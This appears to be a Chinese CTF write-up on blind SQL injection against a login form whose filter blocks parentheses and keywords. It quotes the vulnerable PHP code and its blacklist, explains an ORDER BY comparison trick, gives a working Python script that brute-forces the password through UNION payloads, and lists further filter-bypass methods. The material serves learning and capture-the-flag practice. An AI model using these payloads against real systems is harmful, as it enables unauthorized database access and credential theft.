emmm其实今天比较大的感悟也就是这个过滤括号注入
https://blog.csdn.net/nzjdsds/article/details/81879181?tdsourcetag=s_pctim_aiomsg
<?php
// auth:“蓝鲸塔主”
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "root";
$db = "test";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");
/* sql
create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
这题实际上并没有给源码,所以很大程度上靠的是盲注,猜数据库名为admin,之后union select1,2,3之后就能看到回显2。说明回显位是2.
之后我们因为其屏蔽了括号,并不能直接在2的地方select或者做别的操作。我们就可以利用order by的特性(具体看原文)
这个注入的方法就是,拼接注入语句后会取出表中指定username的信息,我们可以利用order by的方法来让其和在数据库中的数据逐位比较。SQL中,order by的字符串排序是正序的。



因此我们就可以利用这个来跑其的password。这个脚本并不是这题对应的解,但是可以参照其的方法。
import requests
url='http://101.201.126.95:7006/'
l='0123456789abcdefghijkmnlopqrstuvwxyz'
flag=''
for i in range(1000):
for a in l:
payload="admin' union select 1,'2','"+flag+str(a)+"' from admin order by 3#"
data={"username":payload,
"password":1}
result=requests.post(url=url,data=data).text
if 'admin' in result:
flag+=l[l.index(a)-1]
print(flag)
break
关于SQL盲注,还有很多:
https://www.anquanke.com/post/id/160584
https://blog.csdn.net/huanghelouzi/article/details/82995313
- 异或注入:之前已经写了文简要分析了
- mid,ascii,截取字符串,regexp匹配
- order by 盲注 和上面提到的原理基本相似
- 等效替代的函数(特殊符号)
- 通配符绕过
- <> 等价于 !=
- if注入
- join注入
- !注入
- ......

Comments | NOTHING